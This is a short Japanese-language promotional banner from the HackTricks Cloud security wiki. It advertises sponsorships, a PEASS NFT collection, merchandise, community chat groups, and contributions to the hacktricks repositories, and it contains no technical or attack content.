☁️ HackTricks Cloud ☁️ -< * **サイバーセキュリティ会社**で働いていますか？**HackTricksで会社を宣伝**したいですか？または、**最新バージョンのPEASSを入手したい**ですか、またはHackTricksをPDFでダウンロードしたいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

README.md Unescape Escape